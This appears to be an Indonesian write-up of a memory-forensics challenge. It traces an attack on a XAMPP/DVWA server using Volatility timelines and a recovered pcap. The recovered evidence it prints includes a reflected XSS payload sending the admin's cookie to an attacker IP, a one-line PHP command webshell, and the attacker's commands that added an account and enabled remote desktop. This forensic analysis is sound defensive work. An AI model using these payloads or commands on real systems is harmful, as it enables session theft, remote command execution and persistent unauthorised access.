Challenge ini diterbitkan oleh IDFC (Indonesian Digital Forensic Community) pada akhir januari 2016 di
fans page resminya, kira-kira seperti ini benruk soalnya.
Jam baru menunjukkan pukul 09.30 dan baru saja anda selesai menyeduh secangkir kopi
untuk memulai aktivitas perdana di kantor baru, tiba-tiba anda mendapatkan laporan
dari salah seorang sysadmin dikantor cabang yang mengatakan bahwa salah satu servernya
terindikasi telah disusupi hacker. Hal ini dia ketahui setelah ia curiga terdapat
perubahan di dalam systemnya. Sysadmin tersebut tidak mengetahui secara pasti
bagaimana hacker bisa menyusup kedalam servernya.
Anda sebagai satu-satunya security analyst di perusahaan tersebut ( yang baru saja
direktrut dan sedang menjalani masa probation) dipanggil untuk datang ke kantor cabang
untuk melakukan remediasi atas insiden tersebut. Tugas anda adalah :
1. Temukan celah yang terdapat di server tersebut dan bagaimana hacker dapat menyusup
ke dalam server tersebut
2. Temukan payloadnya.
3. Apakah perubahan yang telah dilakukan oleh hacker di server tersebut.
4. Apakah serangan ini dilakukan oleh orang dalam atau orang luar.
5. Apakah saran dan solusi anda agar serangan serupa tidak terjadi.
Kemampuan anda menyelesaikan insiden ini menentukan karir anda di perusahaan ini.
md5sum : 172f61f1b80cffd09705994f0f9df702
file : memdump.mem
https://mega.nz/#!1UpjkTab!RP_QeooLaxA7bixLxkHLIqhWKfQ9G_0M58NSUchRn68
File image yang diberikan berupa Image dari memory server tersebut, sedikit pengetahuan saya tentang digital forensic, bermodal workshop IDFC yang diadakan akhir tahun 2014, salah satu materinya memori forensic menggunakan volatility. Setelah saya googling, beberapa artikel mengarahkan saya ke tools lainnya yaitu
rekall, yang memiliki mode interactive dan webconsole. Untuk artikel kali ini saya akan menggunakan volatility untuk mengumpulkan petunjuk yang ada.
Informasi image:
Informasi yang didapat server menggunakan sistem operasi Windows Vista/Win2008 dan informasi lainnya.
Mencari informasi service yang berjalan pada server:
Dari psscan, server ini ternyata digunakan sebagai web server, terdapat xampp yang berisi apache webserver, mysql, dan ftp server.
Informasi port yang terbuka:
Dari info netscan dan service yang berjalan serpertinya tidak ada yang "aneh", maka perlu dibuatkan timeline dari server:
Terdapat informasi yang menarik, dari iehistory terdapat indikasi serangan xss (reflected xss) yang diarahkan ke ip 192.168.56.102, dari link yang ada code
name=<script>document.location="http://192.168.56.102/?"+document.cookie;</script>
mencoba untuk melakukan session hijacking dengan cara mencuri cookies dari localhost. Dengan modal ini perlu dilakukan penelurusan lebih lanjut tentang bagaimana & kapan kejadian tersebut berlangsung.
Saya menemukan sebuah artikel yang membantu dalam penyusunan timeline yang lebih mudah untuk dibaca di
link ini. Dari tutorial tersebut, terdapat 3 hasil dari plugin volatility yang disesuaikan dengan tanggal kejadian. Timeliner untuk melihat timeline, beberapa event yang tercatat berupa (iehistory, dlll), mftparser untuk melihat perubahan pada file (create, access, modified), dan shellbags.
$ mkdir timeline
$ volatility -f memdump.mem --profile=VistaSP2x86 timeliner --output=body --output-file=timeline/timeliner.txt
$ volatility -f memdump.mem --profile=VistaSP2x86 mftparser --output=body --output-file=timeline/mftparser.txt
$ volatility -f memdump.mem --profile=VistaSP2x86 shellbags --output=body --output-file=timeline/shellbags.txt
$ cd timeline
# satukan semua hasil dari volatility dan gunakan mactime untuk format tanggal yang mudah dibaca
$ cat *.* >> timeline-body.txt<
$ mactime -b timeline-body.txt -d > timeline-mactime.txt
Untuk lebih lengkapnya, file timeline-mactime.txt saya lampirkan di
link ini. Pada file timeline-mactime.txt digunakan hanya untuk mengetahui kapan kejadian itu berlangsung, karena ini dari file tersebut tidak se-detail output dari perintah yang biasanya, maka diperlukan file pendukung lainnya untuk penyidikan lebih mendalam. Jika diperhatikan, kejadian yang menarik terjadi pada tanggal 2-3 september 2015 sebelum image ini diambil. Mari kita bahas kejadian tersebut.
2 Sept 2015:
Wed Sep 02 2015 13:04:40,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/favicon.ico PID: 816/Cache type ""URL "" at 0x25f7880"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=""http://192.168.56.102/?""+document.cookie;</script> PID: 816/Cache type ""URL "" at 0x25f8380"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/?security=low; _ga=GA1.1.1982739354.1440366396; _gat=1; PHPSESSID=gt9jmpq3k9h0hbtrpiqgrj0nc0 PID: 816/Cache type ""URL "" at 0x25f8200"
*dalam UTC 2015-09-02 06:05:05 UTC+0000
Kira-kira seperti ini kronologisnya, yang saya dapat berupa log [IEHISTORY] yaitu log browser internet explorer pada server tersebut. Seseorang (Administrator) browsing ke alamat 192.168.56.102 (line 1), yang ternyata web di alamat itu berisi link berupa XSS yang memanfaatkan celah XSS yang berada pada server si admin (line 2). Selanjutnya, tanpa sepengetahuan admin, cookies dari webnya telah dicuri dan diarahkan ke alamat 192.168.56.102(line 3).
Beberapa referensi mengenai XSS:
[1]
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
[2]
http://excess-xss.com/
[3]
https://www.owasp.org/index.php/Session_hijacking_attack
3 Sept 2015:
Thu Sep 03 2015 14:10:15,31,macb,---a-----------,0,0,62330,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\phpshell.php (Offset: 0x116f7800)"
*dalam UTC 2015-09-03 07:10:15 UTC+0000
Terdapat indikasi ada yang mengakses file xampp\htdocs\DVWA\hackable\uploads\phpshell.php seperti yang diketahui direktori xampp\htdocs merupakan public folder yang diakses oleh web server milik xampp, sehingga sepertinya file ini diakses melalui web browser dari luar sana. Untuk melihat detail akses ke file tersebut dapat dilihat menggunakan volatility.
$ volatility -f memdump.mem --profile=VistaSP2x86 mftparser > mftparser.txt
file mftparser.txt yang lengkap dapat dilihat
di link ini.
Thu Sep 03 2015 14:10:15,31,macb,---a-----------,0,0,62330,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\phpshell.php (Offset: 0x116f7800)"
*dalam UTC 2015-09-03 07:10:15 UTC+0000
Detail dari mftparser
***************************************************************************
MFT entry found at offset 0x116f7800
Attribute: In Use & File
Record Number: 62330
Link count: 1
$STANDARD_INFORMATION
Creation Modified MFT Altered Access Date Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000 Archive
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000 xampp\htdocs\DVWA\hackable\uploads\phpshell.php
$DATA
0000000000: 3c 3f 70 68 70 0a 73 79 73 74 65 6d 28 24 5f 47 <?php.system($_G
0000000010: 45 54 5b 22 63 6d 64 22 5d 29 3b 0a 0a 3f 3e ET["cmd"]);..?>
***************************************************************************
Si penyerang mengupload file phpshell.php yang berisi command untuk berinteraksi dengan OS command. Berikut beberapa file yang di upload dan digunakan si penyerang, untuk detailnya dapat dilihat di mftparser.txt.
*dalam UTC 2015-09-03 07:10:15 UTC+0000
Thu Sep 03 2015 14:14:48,0,macb,---a-----------,0,0,62331,"[MFT FILE_NAME] xampp\htdocs\DVWA\WEBSHE~1.ZIP (Offset: 0x116f7c00)"
Thu Sep 03 2015 14:14:48,0,.acb,---a-----------,0,0,62331,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1.ZIP (Offset: 0x116f7c00)"
Thu Sep 03 2015 14:14:51,0,macb,-------------D-,0,0,62332,"[MFT FILE_NAME] xampp\htdocs\DVWA\WEBSHE~1 (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:51,0,macb,-------------D-,0,0,62332,"[MFT FILE_NAME] xampp\htdocs\DVWA\webshells (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:51,0,...b,---------------,0,0,62332,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1 (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:51,0,macb,---a-----------,0,0,62333,"[MFT FILE_NAME] xampp\htdocs\DVWA\WEBSHE~1\c99.php (Offset: 0x134b56f0)"
Thu Sep 03 2015 14:14:51,0,macb,---a-----------,0,0,62333,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1\c99.php (Offset: 0x134b56f0)"
Thu Sep 03 2015 14:14:51,31,..c.,---a-----------,0,0,62334,"[MFT FILE_NAME] xampp\htdocs\DVWA\webshell.php (Offset: 0x25c74800)"
Thu Sep 03 2015 14:14:57,0,mac.,---------------,0,0,12859,"[MFT STD_INFO] xampp\htdocs\DVWA (Offset: 0x5562c00)"
Thu Sep 03 2015 14:14:57,0,mac.,---------------,0,0,62332,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1 (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:57,31,..c.,---a-----------,0,0,62334,"[MFT STD_INFO] xampp\htdocs\DVWA\webshell.php (Offset: 0x25c74800)"
Thu Sep 03 2015 14:17:58,0,macb,-------------D-,0,0,62335,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\abc (Offset: 0x25c74c00)"
Thu Sep 03 2015 14:17:58,0,macb,-------------D-,0,0,62335,"[MFT STD_INFO] xampp\htdocs\DVWA\hackable\uploads\abc (Offset: 0x25c74c00)"
Thu Sep 03 2015 14:31:30,0,mac.,---------------,0,0,60268,"[MFT STD_INFO] xampp\htdocs\DVWA\hackable\uploads (Offset: 0x2a65e000)"
Thu Sep 03 2015 14:31:30,945,macb,---a-----------,0,0,62337,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\PHPSHE~1.PHP (Offset: 0x5cfe400)"
Thu Sep 03 2015 14:31:30,945,macb,---a-----------,0,0,62337,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\phpshell2.php (Offset: 0x5cfe400)"
Thu Sep 03 2015 14:31:30,0,macb,---a-----------,0,0,62337,"[MFT FILE_NAME] xampp\tmp\phpA4DB.tmp (Offset: 0xd7c9340)"
Thu Sep 03 2015 14:31:30,945,macb,---a-----------,0,0,62337,"[MFT STD_INFO] xampp\htdocs\DVWA\hackable\uploads\PHPSHE~1.PHP (Offset: 0x5cfe400)"
Dari data diatas didapatkan,pada 2 sept 2015 si penyerang memanfaatkan celah xss yang ada pada website dan berhasil mendapatkan cookies sang admin yang digunakan untuk melakukan session hijacking, kemudian keesokan harinya 3 sept 2015, si penyerang mulai memasukkan/upload file berupa webshell tanpa sepengetahuan administrator.
------------------------------ Update ---------------------------------
Setelah berdiskusi dengan empu-nya soal, ternyata ada bukti yang terlewat. Buktinya berupa file pcap yang berisi trafik dari server tersebut untuk menemukan payload yang ada pada server. Informasi ini bisa di-extract dengan menggunakan bulk_extractor.
$ bulk_extractor -x all -e net -o out-bulk memdump.mem
Outputnya beberapa file berhasil di-extract ke folder out-bulk, untuk melihat trafik dari server tersevut terdapat file packets.pcap yang dapat dianalisis dengan menggunakan wireshark. Dengan filter tcp.stream eq 6 maka didapat data sebagai berikut:
Dari packet diatas, hacker meng-upload file php, yang jika dilihat dari kodenya, membuka port 4545 di server tersebut.
** Masih ada jawaban yang miss, dan sepertinya perlu banyak belajar lagi tentang memory forensik, so terima kasih untuk kawan-kawan IDFC.
Jawaban Soal:
1. Temukan celah yang terdapat di server tersebut dan bagaimana hacker dapat menyusup ke dalam server tersebut.
Wed Sep 02 2015 13:04:40,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/favicon.ico PID: 816/Cache type ""URL "" at 0x25f7880"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=""http://192.168.56.102/?""+document.cookie;</script> PID: 816/Cache type ""URL "" at 0x25f8380"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/?security=low; _ga=GA1.1.1982739354.1440366396; _gat=1; PHPSESSID=gt9jmpq3k9h0hbtrpiqgrj0nc0 PID: 816/Cache type ""URL "" at 0x25f8200"
Hacker memanfaatkan celah XSS pada alamat http://localhost/dvwa/vulnerabilities/xss_r/?name= , dengan membawa admin untuk membuka web di alamat 192.168.56.102 yang membuat admin mengakses code reflective XSS
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=""http://192.168.56.102/?""+document.cookie;</script>
sehingga hacker mendapatkan cookies sang admin untuk melancarkan session hijackin.
2. Temukan payloadnya.
xampp\htdocs\DVWA\WEBSHE~1.ZIP
xampp\htdocs\DVWA\WEBSHE~1\c99.php
xampp\htdocs\DVWA\webshells
xampp\htdocs\DVWA\webshell.php
xampp\htdocs\DVWA\hackable\uploads\PHPSHE~1.PHP
3. Apakah perubahan yang telah dilakukan oleh hacker di server tersebut.
Berdasarkan informasi dari cmdscan, ada indikasi penambahan user dan enable remote desktop pada server ini
root@x250:~/Downloads/idfc# volatility -f memdump.mem --profile=VistaSP2x86 cmdscan
Volatility Foundation Volatility Framework 2.4
**************************************************
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a24708 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 17 LastAdded: 16 LastDisplayed: 16
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d8
Cmd #0 @ 0xe907c8: ipconfig
Cmd #1 @ 0xe91af8: cls
Cmd #2 @ 0xe91db0: ipconfig
Cmd #3 @ 0x5a34bd0: net user user1 user1 /add
Cmd #4 @ 0x5a34eb8: net user user1 root@psut /add
Cmd #5 @ 0x5a34c10: net user user1 Root@psut /add
Cmd #6 @ 0x5a24800: cls
Cmd #7 @ 0x5a34c58: net /?
Cmd #8 @ 0x5a34d88: net localgroup /?
Cmd #9 @ 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add
Cmd #10 @ 0x5a34c70: net /?
Cmd #11 @ 0xe911b0: netsh /?
Cmd #12 @ 0xe907e8: netsh firewall /?
Cmd #13 @ 0xe91218: netsh firewall set service type = remotedesktop /?
Cmd #14 @ 0xe91288: netsh firewall set service type = remotedesktop enable
Cmd #15 @ 0xe91300: netsh firewall set service type=remotedesktop mode=enable
Cmd #16 @ 0xe91380: netsh firewall set service type=remotedesktop mode=enable scope=subnet
**************************************************
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a30950 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x7ec
Cmd #0 @ 0xe91970: netsh fireall set service type=remotedesktop mode=enable scope=subnet
Cmd #1 @ 0x5a17b58: netsh firewall set service type=remotedesktop mode=enable scope=subnet
Cmd #38 @ 0x5a30bc8:
Cmd #39 @ 0x5a24890: et.exe
Cmd #48 @ 0x5a24890: et.exe
Cmd #49 @ 0xe91af8: cls
**************************************************
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a30ad0 Application: httpd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x3bc
4. Apakah serangan ini dilakukan oleh orang dalam atau orang luar.
Dari ip yang tercatat 192.168.56.102 merupakan ip private, dapat disimpulkan hacker melakukan aksinya menggunakan PC yang berada dilingkungan perusahaan, soal pelaku orang dalam atau orang luar perlu bukti lain seperti log IDS dan bukti dari PC 192.168.56.102 karena bisa saja PC tersebut diremote dari luar kantor.
5. Apakah saran dan solusi anda agar serangan serupa tidak terjadi.
Untuk serangan dengan memanfaatkan celah XSS, penanganan yang paling sederhana adalah melakukan filter terhadap input user sehingga user tidak bisa memasukkan tag HTML. Berikut referensi pencegahan XSS.
[1]
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
[2]
http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/